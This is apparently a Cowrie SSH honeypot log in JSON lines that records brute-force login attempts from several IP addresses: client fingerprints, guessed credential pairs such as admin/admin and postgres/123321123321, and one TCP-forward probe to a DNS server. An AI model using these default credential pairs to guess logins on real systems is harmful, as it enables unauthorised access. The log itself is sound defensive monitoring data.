{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:47.933619Z","src_ip":"221.139.88.149","session":"241d58a4c250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1","message":"login attempt [mcserver/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:48.880172Z","src_ip":"221.139.88.149","session":"241d58a4c250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:50.074183Z","src_ip":"221.139.88.149","session":"241d58a4c250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":52250,"dst_ip":"10.17.0.5","dst_port":22,"session":"cae521e362f5","protocol":"ssh","message":"New connection: 185.216.119.134:52250 (10.17.0.5:22) [session: cae521e362f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:02.180021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:02.195369Z","src_ip":"185.216.119.134","session":"cae521e362f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:02.898371Z","src_ip":"185.216.119.134","session":"cae521e362f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"g","message":"login attempt [root/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:04.469072Z","src_ip":"185.216.119.134","session":"cae521e362f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:05.691676Z","src_ip":"185.216.119.134","session":"cae521e362f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":45230,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cbbf4698e49","protocol":"ssh","message":"New connection: 31.59.89.180:45230 (159.203.135.109:22) [session: 2cbbf4698e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:22.556931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:22.562135Z","src_ip":"31.59.89.180","session":"2cbbf4698e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:22.672391Z","src_ip":"31.59.89.180","session":"2cbbf4698e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123321123321","message":"login attempt [postgres/123321123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:23.145508Z","src_ip":"31.59.89.180","session":"2cbbf4698e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:24.261270Z","src_ip":"31.59.89.180","session":"2cbbf4698e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47824,"dst_ip":"159.203.135.109","dst_port":22,"session":"66c88cbc506e","protocol":"ssh","message":"New connection: 159.203.92.129:47824 (159.203.135.109:22) [session: 66c88cbc506e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:25.510662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:25.520948Z","src_ip":"159.203.92.129","session":"66c88cbc506e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:25.526453Z","src_ip":"159.203.92.129","session":"66c88cbc506e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yanghuimin","password":"Yanghuimin123","message":"login attempt [Yanghuimin/Yanghuimin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:25.560099Z","src_ip":"159.203.92.129","session":"66c88cbc506e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:26.620904Z","src_ip":"159.203.92.129","session":"66c88cbc506e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63648,"dst_ip":"10.17.0.5","dst_port":22,"session":"80673612e1b1","protocol":"ssh","message":"New connection: 87.251.64.176:63648 (10.17.0.5:22) [session: 80673612e1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:47.736956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:47.742301Z","src_ip":"87.251.64.176","session":"80673612e1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:47.838748Z","src_ip":"87.251.64.176","session":"80673612e1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":36214,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ac33809cf4","protocol":"ssh","message":"New connection: 221.139.88.149:36214 (159.203.135.109:22) [session: 85ac33809cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.074043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.078961Z","src_ip":"221.139.88.149","session":"85ac33809cf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.131876Z","src_ip":"87.251.64.176","session":"80673612e1b1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.237923Z","session":"80673612e1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.278775Z","src_ip":"221.139.88.149","session":"85ac33809cf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.336835Z","src_ip":"87.251.64.176","session":"80673612e1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:48.435314Z","src_ip":"87.251.64.176","session":"80673612e1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.123","message":"login attempt [ubuntu/ubuntu.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:49.109626Z","src_ip":"221.139.88.149","session":"85ac33809cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:50.330716Z","src_ip":"221.139.88.149","session":"85ac33809cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.133","src_port":16154,"dst_ip":"10.17.0.5","dst_port":22,"session":"b360bc7e936a","protocol":"ssh","message":"New connection: 66.132.172.133:16154 (10.17.0.5:22) [session: b360bc7e936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:55.904706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:56.165673Z","src_ip":"66.132.172.133","session":"b360bc7e936a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:39:56.172558Z","src_ip":"66.132.172.133","session":"b360bc7e936a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":39850,"dst_ip":"159.203.135.109","dst_port":22,"session":"b25b3eec844b","protocol":"ssh","message":"New connection: 31.59.89.180:39850 (159.203.135.109:22) [session: b25b3eec844b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:03.597753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:03.604991Z","src_ip":"31.59.89.180","session":"b25b3eec844b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:03.715872Z","src_ip":"31.59.89.180","session":"b25b3eec844b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postmaster","password":"test","message":"login attempt [postmaster/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:04.190670Z","src_ip":"31.59.89.180","session":"b25b3eec844b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:05.305043Z","src_ip":"31.59.89.180","session":"b25b3eec844b","protocol":"ssh"}
